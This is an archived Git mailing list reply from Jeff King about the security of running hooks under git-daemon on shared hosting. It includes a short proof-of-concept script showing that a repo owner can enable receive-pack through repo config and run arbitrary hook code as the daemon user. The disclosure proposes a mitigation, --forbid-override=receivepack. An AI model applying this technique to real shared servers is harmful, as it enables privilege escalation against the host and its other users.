From: Jeff King <peff@peff.net>
To: Junio C Hamano <gitster@pobox.com>
Cc: Sitaram Chamarty <sitaramc@gmail.com>,
Git Mailing List <git@vger.kernel.org>
Subject: Re: what are the chances of a 'pre-upload' hook?
Date: Mon, 28 Nov 2011 03:17:48 -0500 [thread overview]
Message-ID: <20111128081748.GC16901@sigill.intra.peff.net> (raw)
In-Reply-To: <20111128075107.GA16901@sigill.intra.peff.net>
On Mon, Nov 28, 2011 at 02:51:07AM -0500, Jeff King wrote:
> > I actually like the idea of allowing pre-upload-pack hook on git:// and
> > possibly http:// only. git-daemon can tell the upload-pack that it is OK
> > to run the hook, and the hook can do the things that only the daemon can
> > do, never touching what the original requestor would but the repository
> > owner would not have an access to.
>
> That's not necessarily safe. Think about a site like kernel.org. The
> administrator is the one running the daemon, on behalf of all of the
> users. But my impression is that pre-August, developers had shell access
> to their own repos and could write their own hook files. So if
> git-daemon runs hooks, then any repo owner could run arbitrary code as
> the git-daemon, including killing the running daemon and running their
> own trojan.
Actually, depending on how kernel.org (or other similar sites) run the
daemon, this might be an issue even without further patches. By default,
git-daemon lets the enable/disable flag for any service be overridden by
the repo config. So something like this:
# make an evil repo; imagine this is done by a user on a shared
# hosting site which allows shell access.
git init --bare evil &&
cat >evil/hooks/update <<\EOF &&
#!/bin/sh
echo >&2 "executing arbitrary code as `id`"
EOF
git --git-dir=evil config daemon.receivepack true &&
touch evil/git-daemon-export-ok &&
chmod -R 777 evil
# now serve the repo as a daemon running as some other
# user. This simulates the admin of a shared git hosting
# site running git-daemon.
sudo su -c 'git daemon --verbose --base-path="$PWD"' nobody
and then push from anywhere:
$ git push --all git://localhost/evil
...
remote: executing arbitrary code as uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
You can avoid this by setting --forbid-override=receivepack; I wonder if
that should be the default.
-Peff
prev parent reply other threads:[~2011-11-28 8:17 UTC|newest]
Thread overview: 23+ messages / expand[flat|nested] mbox.gz Atom feed top
2011-11-25 3:16 what are the chances of a 'pre-upload' hook? Sitaram Chamarty
2011-11-25 3:18 ` Martin Fick
2011-11-25 3:22 ` Martin Fick
2011-11-25 4:13 ` Sitaram Chamarty
2011-11-25 13:09 ` Andreas Ericsson
2011-11-25 16:18 ` Sitaram Chamarty
2011-11-25 14:40 ` Jeff King
2011-11-26 22:34 ` Junio C Hamano
2011-11-26 22:55 ` Jeff King
2011-11-26 23:13 ` Junio C Hamano
2011-11-26 23:31 ` Jeff King
[not found] ` <CAPc5daXY_4aimugj8Z4BFE8YvBSM1K+evPU69rLGH5ETo6PO=Q@mail.gmail.com>
2011-11-26 23:51 ` Jeff King
[not found] ` <CAPc5daUodry_=6pZxA=QOpuRUj9C2ed9Gzp6E1_G93iGfOOvOA@mail.gmail.com>
2011-11-27 0:06 ` Jeff King
2011-11-27 8:56 ` Junio C Hamano
2011-11-27 13:16 ` Sitaram Chamarty
2011-11-28 6:41 ` Junio C Hamano
2011-11-28 8:01 ` Jeff King
2011-11-28 9:21 ` Sitaram Chamarty
2011-11-28 8:17 ` Sitaram Chamarty
2011-11-28 8:27 ` Jeff King
2011-11-27 7:51 ` Junio C Hamano
2011-11-28 7:51 ` Jeff King
2011-11-28 8:17 ` Jeff King [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20111128081748.GC16901@sigill.intra.peff.net \
--to=peff@peff.net \
--cc=git@vger.kernel.org \
--cc=gitster@pobox.com \
--cc=sitaramc@gmail.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).